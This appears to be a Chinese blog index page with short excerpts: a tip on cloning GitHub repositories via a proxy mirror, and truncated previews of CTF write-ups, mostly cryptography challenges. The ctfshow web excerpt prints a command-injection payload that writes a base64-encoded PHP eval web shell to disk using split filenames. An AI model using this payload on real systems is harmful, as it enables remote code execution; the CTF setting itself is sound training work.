git clone 连接不上
# git clone 连接不上 每次重装虚拟机, git clone 就会显示超时,超时几次都不行 最后使用 git clone https://ghproxy.com/+github 网站地址 快的飞起!! 转自博客
more...ctfshow七夕杯
# WEB # 签到 位数可控字符 rce echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>1.php >hp>1.p\\>d\>\\>\ -\\>e64\\>bas\\>7\|\\>XSk\\>Fsx\\>dFV\\>kX0\\>bCg\\>XZh\\>AgZ\\>waH\\>PD9\\>o\ \\>ech\\ls -t>0sh 0#...
more...DASCTF2022.07赋能赛
# babysign # 题目 import hashlibimport ecdsafrom Crypto.Util.number import *import randomimport osflag = b"xxx"assert flag.startswith(b'DASCTF{') and flag.endswith(b'}')assert len(flag) == 40def init(): """ initiation """ global...
more...CRYPTO CTF
# Klamkin # 题目 ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||| Hello, now we are finding the integer solution of two divisibility || relation. In each stage send the requested solution. Have fun :) ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||...
more...NepNep
# sigin # 题目 from Crypto.Util.number import *from gmpy2 import *from FLAG import flagdef gen_key(): (p,q,n,e,d) = (0 for _ in range(5)) p = getStrongPrime(1024) q = next_prime(p)# q = p + 1# while(True):# q += 2 if q & 1 else 1# if is_prime(q, 30):# break n = p*q e = 0x10001 d = invert(e,...
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